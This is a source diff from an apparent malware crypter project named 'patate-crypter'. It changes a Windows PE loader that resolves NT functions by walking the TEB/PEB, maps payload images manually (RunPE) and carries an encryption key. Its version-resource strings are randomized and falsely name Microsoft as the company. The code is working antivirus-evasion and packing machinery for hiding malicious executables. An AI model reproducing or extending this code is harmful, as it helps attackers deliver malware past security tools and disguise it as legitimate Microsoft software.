diff --git a/Crypter/config.h b/Crypter/config.h index 6043a18..9dde3f6 100644 --- a/Crypter/config.h +++ b/Crypter/config.h @@ -1,2 +1,2 @@ #pragma once -#define KEY "ougoqugduzqd" \ No newline at end of file +#define KEY "" \ No newline at end of file diff --git a/Crypter/main.cpp b/Crypter/main.cpp index 7ee2eb6..d58da50 100644 --- a/Crypter/main.cpp +++ b/Crypter/main.cpp @@ -1,3 +1,5 @@ +typedef struct IUnknown IUnknown; + #include #include #include @@ -91,13 +93,25 @@ typedef NTSTATUS (NTAPI *NtAllocateVirtualMemoryPtr)(HANDLE ProcessHandle, PVOID typedef NTSTATUS (NTAPI *LdrLoadDllPtr)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); typedef NTSTATUS (NTAPI *RtlInitUnicodeStringPtr)(PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef struct __TEB { + PVOID Reserved1[12]; + PPEB ProcessEnvironmentBlock; + PVOID Reserved2[399]; + BYTE Reserved3[1952]; + PVOID TlsSlots[64]; + BYTE Reserved4[8]; + PVOID Reserved5[26]; + PVOID ReservedForOle; + PVOID Reserved6[4]; + PVOID TlsExpansionSlots; +} TEB_, * PTEB_; void* get_ntfunction(const char* func) { //START #ifdef _M_X64 - PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast(nullptr)->Self))); + PTEB_ tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast(nullptr)->Self))); #else - PTEB tebPtr = reinterpret_cast(__readfsdword(reinterpret_cast(&static_cast(nullptr)->Self))); + PTEB_ tebPtr = reinterpret_cast(__readfsdword(reinterpret_cast(&static_cast(nullptr)->Self))); #endif PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr; @@ -154,6 +168,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase) return NULL; } + DEBUG_PRINTF("[+] Allocated memory at 0x%p\n", image_base); const IMAGE_SECTION_HEADER* section_headers = reinterpret_cast(nt_headers + 1); // Copy the section data to the allocated memory. for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) { diff --git a/Crypter/patate-crypter.rc b/Crypter/patate-crypter.rc index 4b2cf18..c4429b8 100644 --- a/Crypter/patate-crypter.rc +++ b/Crypter/patate-crypter.rc @@ -68,12 +68,12 @@ BEGIN BLOCK "040c04b0" BEGIN VALUE "CompanyName", "Microsoft" - VALUE "FileDescription", "cixctkirmfubayfzkbog" + VALUE "FileDescription", "dnsfzllrjwhkcwdfijbb" VALUE "FileVersion", "1.0.0.1" - VALUE "InternalName", "bcjphkt.exe" + VALUE "InternalName", "fbjriet.exe" VALUE "LegalCopyright", "Copyright (C) 2023" - VALUE "OriginalFilename", "nybxftw.exe" - VALUE "ProductName", "txwfqte.exe" + VALUE "OriginalFilename", "pvgcwpf.exe" + VALUE "ProductName", "wisjfvx.exe" VALUE "ProductVersion", "1.0.0.1" END END @@ -83,7 +83,7 @@ BEGIN END END -MAINICON ICON "C:/Users/patate/Desktop/Programmation/C++/Maldev/patate-crypter/icon.ico" +//MAINICON ICON "" #endif ///////////////////////////////////////////////////////////////////////////// diff --git a/Crypter/patate-crypter.vcxproj b/Crypter/patate-crypter.vcxproj index 606e5ac..0150daf 100644 --- a/Crypter/patate-crypter.vcxproj +++ b/Crypter/patate-crypter.vcxproj @@ -29,26 +29,26 @@ Application true - v143 + ClangCL MultiByte Application false - v143 + ClangCL false MultiByte Application true - v143 + ClangCL MultiByte Application false - v143 + ClangCL false MultiByte